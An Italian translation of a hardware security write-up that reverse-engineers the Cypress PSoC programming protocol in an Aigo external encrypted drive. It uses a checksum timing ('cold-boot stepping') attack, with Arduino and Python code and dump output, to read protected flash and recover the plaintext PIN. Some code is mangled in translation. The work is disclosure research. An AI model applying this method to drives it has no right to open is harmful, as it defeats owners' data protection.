Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC

Questa è la seconda e ultima parte dell'articolo riguardante l'hacking di unità esterne autocriptanti. Ricordo che recentemente un collega mi ha portato un disco rigido Patriot (Aigo) SK8671, e ho deciso di fare reverse engineering su di esso, ora condivido ciò che ho ottenuto. Prima di continuare a leggere, assicurati di essere a conoscenza di prima parte articoli.

4. Iniziamo a estrarre un dump dalla flash interna PSoC
5. Protocollo ISSP
– 5.1. Cos'è l'ISSP
– 5.2. Demistificazione dei vettori
– 5.3. Comunicazione con PSoC
– 5.4. Identificazione dei registri interni
– 5.5. Bit di protezione
6. Primo attacco (non riuscito): ROMX
7. Secondo attacco: tracciamento con riavvio a freddo
– 7.1. Implementazione
– 7.2. Leggere il risultato
– 7.3. Ricostruzione del binario flash
– 7.4. Trovare l'indirizzo di memorizzazione del PIN
– 7.5. Estrazione del dump del blocco n. 126
– 7.6. Ripristino del PIN
8. E poi?
9. Conclusione

Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC


4. Iniziamo a estrarre un dump dalla flash interna PSoC

Quindi, tutto indica (come abbiamo stabilito nella [prima parte]()) che il PIN è memorizzato nelle profondità flash del PSoC. Pertanto, dobbiamo leggere queste profondità flash. Le frontiere dei lavori necessari:

  • prendere il controllo della "comunicazione" con il microcontrollore;
  • trovare un modo per verificare se questa "comunicazione" è protetta dalla lettura esterna;
  • trovare un modo per bypassare la protezione.

Ci sono due luoghi in cui ha senso cercare un PIN valido:

  • memoria flash interna;
  • SRAM, dove il PIN può essere memorizzato per confrontarlo con quello inserito dall'utente.

Anticipando, voglio sottolineare che alla fine sono riuscito a estrarre un dump dalla flash interna del PSoC, bypassando il suo sistema di protezione, tramite un attacco hardware "tracciamento con riavvio a freddo" – dopo aver fatto reverse engineering delle capacità non documentate del protocollo ISSP. Questo mi ha permesso di estrarre direttamente il dump del PIN vigente.

$ .\/psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Codice sorgente finale:

5. Protocollo ISSP

5.1. Cos'è l'ISSP

La "comunicazione" con il microcontrollore può significare diverse cose: da "fornitore a fornitore", fino all'interazione utilizzando un protocollo seriale (ad esempio, ICSP per i PIC Microchip).

Per Cypress esiste un protocollo proprietario, chiamato ISSP (in-system serial programming protocol; protocollo di programmazione seriale in-sistema), che è parzialmente descritto nella specifica tecnica. Brevetto US7185162 fornisce anche alcune informazioni. Esiste anche un analogo OpenSource chiamato HSSP (ne faremo uso tra poco). L'ISSP funziona come segue:

  • riavviare il PSoC;
  • emissione del numero magico sul pin dei dati seriali di questo PSoC; per entrare nella modalità di programmazione esterna;
  • inviare comandi costituiti da lunghe stringhe di bit, chiamate "vettori".

Nella documentazione dell'ISSP, questi vettori sono definiti solo per un piccolo numero di comandi:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (varianti 3V e 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, dove dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, dove DDDDDDDD = data out, aaaaaa = indirizzo (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, dove dddddddd = data in, aaaaaa = indirizzo (6 bit)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dove DDDDDDDDDDDDDDDD = data out: checksum del dispositivo
  • ERASE BLOCK

Ad esempio, il vettore per Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tutti i vettori hanno la stessa lunghezza: 22 bit. Nella documentazione dell'HSSP ci sono alcune informazioni aggiuntive sull'ISSP: "Il vettore ISSP non è nient'altro che una sequenza di bit che rappresenta un insieme di istruzioni."

5.2. Demistificazione dei vettori

Chiarifichiamo cosa sta succedendo qui. Inizialmente pensavo che questi vettori rappresentassero varianti raw delle istruzioni M8C, ma controllando questa ipotesi, ho scoperto che i codici operativi non corrispondono.

Poi ho cercato su Google il vettore sopra e ho trovato questo studio, dove l'autore, pur non addentrandosi nei dettagli, fornisce alcuni suggerimenti utili: "Ogni istruzione inizia con tre bit che corrispondono a una delle quattro mnemoniche (leggere dalla RAM, scrivere nella RAM, leggere il registro, scrivere nel registro). Quindi c'è un indirizzo a 8 bit, seguito da 8 bit di dati (lettura o scrittura) e infine tre bit di stop."

In seguito sono riuscito a ottenere informazioni molto utili dalla sezione "Supervisory ROM (SROM)" del manuale tecnico. SROM è una ROM hard-coded nel PSoC, che fornisce funzioni di servizio (sullo stesso principio delle Syscall), per il codice programmatico eseguito nello spazio utente:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Confrontando i nomi dei vettori con le funzioni SROM, possiamo abbinare diverse operazioni supportate da questo protocollo – con i parametri SROM attesi. Grazie a questo possiamo decodificare i primi tre bit dei vettori ISSP:

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Tuttavia, una comprensione completa dei processi intra-chip può essere ottenuta solo attraverso una comunicazione diretta con il PSoC.

5.3. Comunicazione con il PSoC

Poiché Dirk Pietrautski ha già portato il codice HSSP di Cypress su Arduino, ho utilizzato un Arduino Uno per connettermi al connettore ISSP della tastiera.

Nota che durante le mie ricerche ho modificato significativamente il codice di Dirk. Puoi trovare la mia modifica su GitHub: qui e lo script Python corrispondente per comunicare con Arduino, nel mio repository cypress_psoc_tools.

Quindi, utilizzando Arduino, inizialmente ho usato solo vettori "ufficiali" per la "comunicazione". Ho provato a leggere la ROM interna utilizzando il comando VERIFY. Come previsto, non ci sono riuscito. Probabilmente a causa del fatto che i bit di protezione dalla lettura sono attivati all'interno della memoria flash.

Poi ho creato alcuni miei semplici vettori per scrivere e leggere memoria/ registri. Nota che possiamo leggere tutta la SROM, anche se la memoria flash è protetta!

5.4. Identificazione dei registri intra-chip

Guardando i vettori "disassemblati", ho scoperto che il dispositivo utilizza registri non documentati (0xF8-0xFA) per specificare i codici operativi M8C che vengono eseguiti direttamente, bypassando la protezione. Questo mi ha permesso di eseguire vari codici operativi come "ADD", "MOV A, X", "PUSH" o "JMP". Grazie a loro (vedendo gli effetti collaterali che producono sui registri), sono riuscito a determinare quali dei registri non documentati siano effettivamente registri normali (A, X, SP e PC).

Alla fine, il codice "disassemblato" generato dallo strumento HSSP_disas.rb – appare così (per chiarezza ho aggiunto dei commenti):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # reset flag
[DE C0 1C] wrreg SP (f6), 0x00      # reset SP
[9F 07 5C] wrmem KEY1, 0x3A     # argomento obbligatorio per SSC
[9F 20 7C] wrmem KEY2, 0x03     # analogamente
[DE A0 1C] wrreg PCh (f5), 0x00     # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... fino a 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # puntatore RAM per i dati in uscita
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID per chiamata SSC
[DE 00 DC] wrreg A (f0), 0x06       # numero "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode per SSC, "Chiamata Supervisoria SROM"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Operazione non documentata: eseguire opcode esterno

5.5. Bit di protezione

A questo punto posso già comunicare con PSoC, ma non ho ancora informazioni affidabili sui bit di protezione della flash. Sono rimasto molto sorpreso dal fatto che Cypress non offre all'utente del dispositivo alcun mezzo per verificare se la protezione è attivata. Ho approfondito su Google per capire definitivamente che il codice HSSP fornito da Cypress è stato aggiornato dopo che Dirk ha rilasciato la sua modifica. Ed ecco! È emerso questo nuovo vettore:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argomenti sconosciuti
[9F E0 1C] wrmem 0xFF, 0x00 # analogamente
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # syscall non documentata !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Utilizzando questo vettore (vedi read_security_data in psoc.py), otteniamo tutti i bit di protezione in SRAM a 0x80, dove ogni blocco protetto ha due bit.

Il risultato è deludente: tutto è protetto in modalità "disattiva lettura e scrittura esterne". Pertanto, non possiamo né leggere nulla dalla flash né scrivere (ad esempio per inserire un dump ROM). L'unico modo per disattivare la protezione è cancellare completamente l'intero chip. 🙁

6. Primo attacco (non riuscito): ROMX

Tuttavia, possiamo provare a fare il seguente trucco: poiché abbiamo la possibilità di eseguire opcode arbitrari, perché non eseguire il ROMX, che viene utilizzato per leggere la memoria flash? Questo approccio ha buone possibilità di successo. Perché la funzione ReadBlock, che legge i dati da SROM (che viene usato dai vettori), verifica se viene chiamata da ISSP. Tuttavia, l'opcode ROMX, presumibilmente, potrebbe non avere tale verifica. Quindi, ecco il codice Python (dopo aver aggiunto alcune classi di supporto nel codice Arduino C):

per i in range(0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX legge ROM[A|X] in A
 print "x" % ord(byte[0]) # stampa il byte ROM

Sfortunatamente, questo codice non funziona. 🙁 In effetti funziona, ma in output otteniamo i nostri stessi opcode (0x28 0x30 0x40)! Non penso che la funzionalità corrispondente del dispositivo sia un elemento di protezione contro la lettura. Sembra più un trucco ingegneristico: durante l'esecuzione di opcode esterni, il bus ROM viene reindirizzato a un buffer temporaneo.

7. Secondo attacco: tracciamento con riavvio a freddo

Poiché il trucco con ROMX non ha funzionato, ho iniziato a considerare un'altra variazione di questo trucco – descritta nella pubblicazione «Shedding too much Light on a Microcontroller’s Firmware Protection».

7.1. Implementazione

Nella documentazione di ISSP è fornito il seguente vettore per CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Qui viene essenzialmente chiamata la funzione SROM 0x07, come indicato nella documentazione (corsivo mio):

Questa funzione controlla il checksum. Calcola un checksum a 16 bit di quanti blocchi l'utente ha specificato – in un'unica flash bank, partendo da zero. Il parametro BLOCKID viene utilizzato per passare il numero di blocchi che verranno utilizzati nel calcolo del checksum. Il valore «1» calcolerà il checksum solo per il blocco zero; mentre «0» porterà al calcolo del checksum totale di tutti i 256 blocchi della flash bank. Il checksum a 16 bit viene restituito tramite KEY1 e KEY2. Nel parametro KEY1 vengono registrati gli 8 bit meno significativi del checksum, mentre in KEY2 si trovano gli 8 bit più significativi. Per i dispositivi con più flash bank, la funzione di checksum viene chiamata per ciascuno separatamente. Il numero della bank con cui lavorerà è impostato nel registro FLS_PR1 (impostando il bit corrispondente alla flash bank di destinazione).

Si prega di notare che questo è un checksum semplice: i byte vengono semplicemente sommati uno dopo l'altro; niente di strano o complesso come il CRC. Inoltre, sapendo che nel core M8C il set di registri è molto limitato, ho ipotizzato che durante il calcolo del checksum, i valori intermedi sarebbero stati registrati nelle stesse variabili che andranno in output alla fine: KEY1 (0xF8) / KEY2 (0xF9).

Quindi, in teoria, il mio attacco si presenta così:

  1. Ci connettiamo tramite ISSP.
  2. Avviamo il calcolo del checksum, utilizzando il vettore CHECKSUM-SETUP.
  3. Riavviamo il processore dopo un intervallo di tempo T.
  4. Leggiamo la RAM per ottenere l'attuale checksum C.
  5. Ripetiamo i passaggi 3 e 4, aumentando leggermente T ogni volta.
  6. Ripristiniamo i dati dalla flash, sottraendo il precedente checksum C da quello attuale.

Tuttavia, si è presentato un problema: il vettore Initialize-1, che dobbiamo inviare dopo il riavvio, sovrascrive KEY1 e KEY2:

1100101000000000000000  # Magia che mette il PSoC in modalità programmazione
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # il checksum viene sovrascritto qui
[9F 20 7C] wrmem KEY2, 0x03 # e qui
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # Funzione SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Questo codice cancella il nostro prezioso checksum, chiamando Calibrate1 (funzione SROM 9)… Forse possiamo, semplicemente inviando il numero magico (all'inizio del codice sopra riportato), entrare in modalità programmazione e poi leggere SRAM? E sì, funziona! Il codice Arduino che implementa questo attacco è piuttosto semplice:

case Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 else {
 ms_delay = 0;
 }
 send_checksum_v();
 if(checksum_delay)
 delayMicroseconds(checksum_delay);
 delay(ms_delay);
 start_pmode();

  1. Leggi checkum_delay.
  2. Avvia il calcolo del checksum (send_checksum_v).
  3. Attendere il tempo specificato; tenendo conto dei seguenti ostacoli:
    • ho perso un sacco di tempo prima di scoprire che in realtà delayMicroseconds funziona correttamente solo con ritardi non superiori a 16383 µs;
    • e poi ho perso altrettanto tempo prima di scoprire che delayMicroseconds, se gli si passa 0, funziona in modo completamente errato!
  4. Riavviare il PSoC in modalità di programmazione (inviamo semplicemente un numero magico, senza inviare vettori di inizializzazione).

Codice finale in Python:

per delay in range(0, 150000): # ritardo in microsecondi
 per i in range(0, 10): # numero di letture per ciascun ritardo
 try:
 reset_psoc(quiet=True) # riavvio e ingresso in modalità programmazione
 send_vectors() # invio dei vettori di inizializzazione
 ser.write("x85"+struct.pack(">I", delay)) # calcolare la somma di controllo + riavviarsi dopo il ritardo
 res = ser.read(1) # leggere l'ACK di arduino
 except Exception as e:
 print e
 ser.close()
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # aprire la porta seriale
 continue
 print "d X X X" % (delay, # leggere i byte RAM
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9))

In poche parole, cosa fa questo codice:

  1. Riavvia il PSoC (e gli invia un numero magico).
  2. Invia vettori di inizializzazione completi.
  3. Chiama la funzione Arduino Cmnd_STK_START_CSUM (0x85), a cui viene passato il ritardo in microsecondi come parametro.
  4. Legge il checksum (0xF8 e 0xF9) e il registro non documentato 0xF1.

Questo codice viene eseguito 10 volte in 1 microsecondo. 0xF1 è incluso qui perché era l'unico registro a cambiare durante il calcolo del checksum. Potrebbe essere una variabile temporanea utilizzata dall'unità aritmetico-logica. Nota il brutto hack che utilizzo per riavviare Arduino usando picocom quando Arduino smette di rispondere (non ho idea del perché).

7.2. Leggiamo il risultato

Il risultato dell'esecuzione dello script Python appare così (semplificato per leggibilità):

DELAY F1 F8 F9  # F1 – registratore sconosciuto sopra menzionato
                  # F8 byte meno significativo del checksum
                  # F9 byte più significativo del checksum

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # il checksum viene ripristinato a 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1° byte: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2° byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # non ho idea di cosa stia succedendo qui
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Ancora E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, capito! Ecco il trasferimento al byte più significativo
00063 01 17 01
[...]
00075 CC 17 01  # Quindi, 0x117-0xE7: 0x30

Tuttavia, abbiamo un problema: poiché stiamo operando con il checksum effettivo, il byte nullo non cambia il valore letto. Tuttavia, poiché l'intera procedura di calcolo (8192 byte) richiede 0,1478 secondi (con piccole fluttuazioni ad ogni esecuzione), che corrisponde a circa 18,04 µs per byte, possiamo utilizzare questo tempo per verificare il valore del checksum nei momenti opportuni. Per i primi passaggi, tutto viene letto piuttosto facilmente, poiché la durata dell'esecuzione della procedura di calcolo è praticamente sempre la stessa. Tuttavia, la fine di questo dump è meno precisa, poiché le "lievi fluttuazioni nel tempo" ad ogni esecuzione si sommano e diventano significative:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Questi sono 10 dump per ogni ritardo in microsecondi. Il tempo totale richiesto per ottenere il dump di tutti i 8192 byte della flash è di circa 48 ore.

7.3. Ricostruzione del binario flash

Non ho ancora completato la scrittura del codice che ricostruisce completamente il codice del flash, tenendo conto di tutte le fluttuazioni temporali. Tuttavia, ho già recuperato l'inizio di questo codice. Per assicurarmi di averlo fatto correttamente, l'ho dissassemblato usando m8cdis:

0000: 80 67   jmp  0068h     ; Vettore di reset
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; La modalità di paging è cambiata da 3 a 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sembra del tutto plausibile!

7.4. Troviamo l'indirizzo di memorizzazione del PIN

Ora che possiamo leggere la checksum nei momenti giusti, possiamo facilmente controllare come e dove cambia quando noi:

  • inseriamo un PIN errato;
  • cambiamo il PIN.

Inizialmente, per trovare un indirizzo di memorizzazione approssimativo, ho effettuato un dump della checksum con un intervallo di 10 ms, dopo il riavvio. Poi ho inserito un PIN errato e ho fatto lo stesso.

Il risultato è stato piuttosto sgradevole, poiché ci sono stati molti cambiamenti. Ma alla fine sono riuscito a stabilire che la checksum è cambiata da qualche parte tra 120000 µs e 140000 µs di ritardo. Ma il "PIN" che ho trovato lì era assolutamente errato, a causa di un artefatto della procedura delayMicroseconds, che fa cose strane quando le si passa 0.

Poi, dopo aver speso quasi 3 ore, ho ricordato che la chiamata di sistema CheckSum di SROM riceve come input un argomento che specifica il numero di blocchi per la checksum! Così possiamo facilmente localizzare l'indirizzo di memorizzazione del PIN e del contatore di "tentativi errati", con una precisione di 64 byte per blocco.

Le mie corse iniziali hanno dato il seguente risultato:

Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC

Poi ho cambiato il PIN da «123456» a «1234567» e ho ottenuto:

Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC

Pertanto, il PIN e il contatore dei tentativi errati sembrano essere memorizzati nel blocco n. 126.

7.5. Effettuiamo il dump del blocco n. 126

Il blocco n. 126 dovrebbe trovarsi da qualche parte intorno a 125x64x18 = 144000 µs, dall'inizio del calcolo della checksum, nel mio dump completo, e sembra del tutto plausibile. Poi, dopo un accurato screening di numerosi dump non validi (a causa dell'accumulo di "lievi deviazioni temporali"), alla fine ho ottenuto questi byte (con un ritardo di 145527 µs):

Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC

È assolutamente chiaro che il PIN è memorizzato in chiaro! Questi valori non sono sicuramente registrati in codici ASCII, ma, come si è rivelato, riflettono le letture effettuate dalla tastiera capacitiva.

Finalmente, ho eseguito altri test per scoprire dove viene memorizzato il contatore dei tentativi errati. Ecco il risultato:

Reverse engineering e hacking di un HDD esterno auto-crittografato Aigo. Parte 2: Effettuiamo il dump con Cypress PSoC

0xFF – significa «15 tentativi», e diminuisce ad ogni tentativo non riuscito.

7.6. Recupero del PIN

Ecco il mio codice brutto che raccoglie tutto quanto detto sopra:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
 last_csum = 0
 pin_bytes = []
 for delay in range(145495, 145719, 16):
 csum = csum_at(delay, 1)
 byte = (csum-last_csum)&0xFF
 print "d x (x) => x" % (delay, csum, last_csum, byte)
 pin_bytes.append(byte)
 last_csum = csum
 print "PIN: ",
 for i in range(0, len(pin_bytes)):
 if pin_bytes[i] in pin_map:
 print pin_map[pin_bytes[i]],
 print

Ecco il risultato della sua esecuzione:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Evviva! Funziona!

Si prega di notare che i valori di ritardo che ho utilizzato sono probabilmente specifici per un particolare PSoC – quello che ho usato io.

8. E poi?

Quindi, riassumiamo dalla parte del PSoC, nel contesto del nostro driver Aigo:

  • possiamo leggere la SRAM, anche se è protetta dalla lettura;
  • possiamo bypassare la protezione alla lettura tramite un attacco di «tracciamento da cold boot» e leggendo direttamente il PIN.

Tuttavia, il nostro attacco presenta alcune lacune – a causa di problemi di sincronizzazione. Potrebbe essere migliorato nel seguente modo:

  • scrivere un'utilità per decodificare correttamente i dati in uscita ottenuti dall'attacco di «tracciamento da cold boot»;
  • utilizzare un FPGA per creare ritardi temporali più accurati (o utilizzare timer hardware Arduino);
  • provare un altro attacco: inserire un codice PIN errato, riavviare e dumping della RAM, sperando che il codice PIN corretto sia stato salvato nella RAM, per un confronto. Tuttavia, su Arduino non è così semplice, poiché il livello di segnale di Arduino è di 5 volt, mentre la scheda che stiamo esaminando funziona con segnali a 3,3 volt.

Una cosa interessante da provare sarebbe giocare con il livello di tensione, per bypassare la protezione dalla lettura. Se questo approccio funzionasse, potremmo ottenere dati assolutamente precisi dalla chiavetta USB, invece di fare affidamento sulla lettura del checksum con imprecisioni nei tempi.

Poiché SROM legge probabilmente i bit protettivi tramite la chiamata di sistema ReadBlock, potremmo fare lo stesso che è descritto nel blog di Dmitry Nedospasov – la riimplementazione dell'attacco di Chris Gerlinski, annunciato alla conferenza «REcon Brussels 2017».

Un'altra cosa interessante che si potrebbe fare sarebbe limare il guscio del chip: per prelevare il dump della SRAM, identificare le chiamate di sistema non documentate e le vulnerabilità.

9. Conclusione

Quindi, la protezione di questo dispositivo lascia a desiderare, perché per memorizzare il codice PIN utilizza un microcontrollore normale (non "indurito")... Inoltre, non ho ancora esaminato (fino ad ora) come vanno le cose con la crittografia dei dati su questo dispositivo!

Cosa si può consigliare per Aigo? Analizzando un paio di modelli di HDD crittografati, nel 2015 ho realizzato alla presentazione su SyScan, in cui ho esaminato i problemi di sicurezza di diversi HDD esterni e fornito raccomandazioni su come migliorarli. 🙂

Per questa ricerca ho impiegato due fine settimana e alcune sere. In totale circa 40 ore. Conteggiando dall'inizio (quando ho aperto il disco) fino alla fine (dump del codice PIN). Queste 40 ore includono anche il tempo che ho speso a scrivere questo articolo. È stato un viaggio molto avvincente.

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster